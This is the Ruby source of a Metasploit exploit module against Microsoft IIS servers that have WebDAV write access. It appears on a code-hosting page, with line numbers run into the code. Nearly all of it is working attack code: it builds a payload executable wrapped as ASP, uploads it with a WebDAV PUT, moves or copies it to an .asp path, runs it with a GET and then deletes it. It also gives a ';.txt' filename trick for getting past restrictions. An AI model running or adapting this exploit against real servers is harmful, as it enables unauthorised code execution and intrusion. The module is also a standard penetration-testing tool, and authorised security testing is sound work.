Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/iis/iis_webdav_upload_asp.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::EXE1011def initialize12super(13'Name' => 'Microsoft IIS WebDAV Write Access Code Execution',14'Description' => %q{15This module can be used to execute a payload on IIS servers that16have world-writeable directories. The payload is uploaded as an ASP17script via a WebDAV PUT request.1819The target IIS machine must meet these conditions to be considered20as exploitable: It allows 'Script resource access', Read and Write21permission, and supports ASP.22},23'Author' => 'hdm',24'Platform' => 'win',25'References' =>26[27['OSVDB', '397'],28['BID', '12141']29],30'Targets' =>31[32[ 'Automatic', { } ],33],34'DefaultTarget' => 0,35'DisclosureDate' => 'Dec 31 2004'36)3738register_options(39[40# The USERNAME and PASSWORD are registered again to make them more obvious they're41# configurable.42OptString.new('HttpUsername',43[false, 'The HTTP username to specify for authentication', '']),44OptString.new('HttpPassword',45[false, 'The HTTP password to specify for authentication', '']),46OptString.new('PATH',47[ true, 'The path to attempt to upload', '/metasploit%RAND%.asp']),48OptEnum.new('METHOD',49[ true, 'Move or copy the file on the remote system from .txt -> .asp', 'move', ['move','copy']])50])51end5253def exploit54# Generate the ASP containing the EXE containing the payload55exe = generate_payload_exe56asp = Msf::Util::EXE.to_exe_asp(exe)57path = datastore['PATH'].gsub('%RAND%', rand(0x10000000).to_s)58path = "/" + path if path[0] != "/"59# Incase of "/path/to/filename.asp;.txt"60path_tmp = "/" + File.basename(path.gsub(/\;.*/,''), ".*") + ".txt"61path_tmp = File.dirname(path) + path_tmp if File.dirname(path) != "/"62action = datastore['METHOD'].downcase.gsub('e','') + "ing"63alt_method = "move"64alt_method = "copy" if datastore['METHOD'].upcase == "MOVE"6566#67# CHECK68#69print_status("Checking #{path}")70res = send_request_cgi({71'uri' => path ,72'method' => 'GET',73}, 20)7475unless res76print_error("Connection timed out while trying to checking #{path}")77return78end7980if (res.code == 200)81print_error("File #{path} already exists on the target")82return83end848586#87# UPLOAD88#89print_status("Uploading #{asp.length} bytes to #{path_tmp}...")9091begin92res = send_request_cgi({93'uri' => path_tmp,94'method' => 'PUT',95'ctype' => 'application/octet-stream',96'data' => asp,97}, 20)98rescue Errno::ECONNRESET => e99print_error("#{e.message}. It's possible either you set the PATH option wrong, or IIS doesn't allow 'Write' permission.")100return101end102103unless res104print_error("Connection timed out while uploading to #{path_tmp}")105return106end107108if (res.code < 200 or res.code >= 300)109print_error("Upload failed on #{path_tmp} [#{res.code} #{res.message}]")110return111end112113#114# MOVE/COPY115#116if (path_tmp == path)117print_warning("Same filename for PATH and PATH_TEMP detected (#{path_tmp})")118print_warning("Do not end PATH with '.txt'")119else120print_status("#{action.capitalize} #{path_tmp} to #{path}...")121122res = send_request_cgi({123'uri' => path_tmp,124'method' => datastore['METHOD'].upcase,125'headers' => {'Destination' => path}126}, 20)127128unless res129print_error("Connection timed out while moving to #{path}")130return131end132133if (res.code < 200 or res.code >= 300)134print_error("#{datastore['METHOD'].capitalize} failed on #{path_tmp} [#{res.code} #{res.message}]")135case res.code136when 403137print_error("IIS possibly does not allow 'READ' permission, which is required to upload executable content.")138end139return140elsif (res.code == 207)141print_warning("#{datastore['METHOD'].capitalize} may have failed. [#{res.code} Response]")142print_warning("Try using 'set METHOD #{alt_method}' instead")143end144end145146147#148# EXECUTE149#150print_status("Executing #{path}...")151152res = send_request_cgi({153'uri' => path,154'method' => 'GET'155}, 20)156157unless res158print_error("Execution failed on #{path} [No Response]")159return160end161162if (res.code < 200 or res.code >= 300)163print_error("Execution failed on #{path} [#{res.code} #{res.message}]")164case res.message165when 'Not Found', 'Object Not Found'166print_error("The #{datastore['METHOD'].upcase} action failed. Possibly IIS doesn't allow 'Script Resource Access'")167print_warning("Try using 'set METHOD #{alt_method}' instead")168vprint_warning("Pro Tip: Try 'set PATH /metasploit%RAND%.asp;.txt' instead") unless path.include? ";"169end170return171end172173174#175# DELETE176#177print_status("Deleting #{path} (this doesn't always work)...")178179res = send_request_cgi({180'uri' => path,181'method' => 'DELETE'182}, 20)183184unless res185print_error("Deletion failed on #{path} [No Response]")186return187end188189if (res.code < 200 or res.code >= 300)190# Changed this to a warning, because red is scary and if this part fails,191# honestly it's not that bad. In most cases this is probably expected anyway192# because by default we're using IWAM_*, which doesn't give us a lot of193# freedom to begin with.194print_warning("Deletion failed on #{path} [#{res.code} #{res.message}]")195return196end197198handler199end200end201202203